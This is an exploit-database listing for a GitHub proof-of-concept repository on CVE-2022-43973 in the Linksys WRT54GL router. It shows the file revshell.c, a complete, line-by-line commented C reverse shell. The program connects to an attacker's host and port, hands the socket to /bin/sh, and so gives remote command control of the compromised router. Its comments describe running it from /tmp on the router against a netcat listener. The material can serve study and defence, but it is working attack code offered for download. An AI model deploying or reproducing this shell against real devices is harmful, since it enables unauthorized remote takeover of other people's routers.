Exploit database

GH-314c19211f638eff1688e08918724f8f

umbertodellamonica/linksys-wrt54gl-exploitation

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-43973

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploits/revshell.c

C · 4,265 bytes
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])
{
    int port, sockt;
    
    
    
    struct sockaddr_in revsockaddr;
    /*
            struct sockaddr_in {
                short sin_family; // Address family (AF_INET for IPv4)
                unsigned short sin_port; // Port number (htons to convert)
                struct in_addr sin_addr; // IP address (in_addr structure)
                char sin_zero[8]; // Padding for alignment
            };

        - sin_family: Specifies the address family. The value AF_INET specifies the IPv4 address family.
        - sin_port: Specifies the port number. The function htons() is used to convert the port number from host byte order to network byte order.
        - sin_addr: Specifies the IP address. The function inet_addr() is used to convert the IP address from a string to a numerical value.
        - sin_zero: Padding for alignment.
    */

    /**
     The arguments that must be present in our program are:

        1 - /tmp/X -> represents the program that must be run on the router
        2 - 192.168.2.100 -> represents our server that provides the reverse shell
        3 - 4141 -> represents the port number that the netcat service must use
        Netcat is a versatile tool for reading and writing data over network connections using the

        TCP/UDP protocol -> In this case it acts as a Client to provide the command shell that we want to use to control the router
    */
    if (argc != 3)
    {
        fprintf(stderr, "usage: %s HOST PORT\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    // atoi() is a function to convert a string to integer. In my case :  "4141" in 4141
    port = atoi(argv[2]);

    /**
     * socket() is a function that it is able to create socket,an endpoint for comunication through the process  
     * - AF_INET constant specifies that the socket should use the IPv4 address family. IPv4 is the most common address family used on the Internet.
     * - SOCK_STREAM constant specifies that the socket should use the TCP protocol. TCP is a connection-oriented protocol that provides reliable delivery of data.
     * - 0 indicates that the operating system should choose the appropriate protocol. This is useful when the programmer is not sure which protocol to use. In this case, the operating system will choose TCP because the SOCK_STREAM constant was specified.
    */
    sockt = socket(AF_INET, SOCK_STREAM, 0);
    
    revsockaddr.sin_family = AF_INET;// constant specifies that the socket should use the IPv4 address family

    revsockaddr.sin_port = htons(port); // function that is able to convert a data in byte for the net  

    revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);// constructs the IP address with this function 

     /**
        -  connect() - Establishes a connection between the client socket(netcat 4141) and the server socket (192.168.1.2)
        -  sockt is the client socket
        - revsockaddr is the server socket address
        - sizeof(revsockaddr) is the size of the server socket address
    */
    connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
    /**
    - dup2() is a function that is used to duplicate the specified file descriptor to another file descriptor.
      In this case, there is a redirection of the standard file descriptors
      In fact, the socket could generate output/errors/ and therefore with this function we can redirect the streams
    */
    // Redirects input to the socket
    dup2(sockt, 0);
    // Redirects output to the socket
    dup2(sockt, 1);
    // Redirects errors to the socket
    dup2(sockt, 2);
    // We define am array of pointer of constant strings 
    char *const sh_argv[] = {"sh", NULL};

    /** int execve(const char *pathname, char *const _Nullable argv[],
                  char *const _Nullable envp[]);
        - pathname : it is the path of the process. In this case, it is a shell command  
        - argv : It is the array of arguments, that will be passed at the process in execution.
        - envp: It is execution environment. It will be used the current environment (Router's shell)         
    */
    execve("/bin/sh", sh_argv, NULL);


    return 0;
}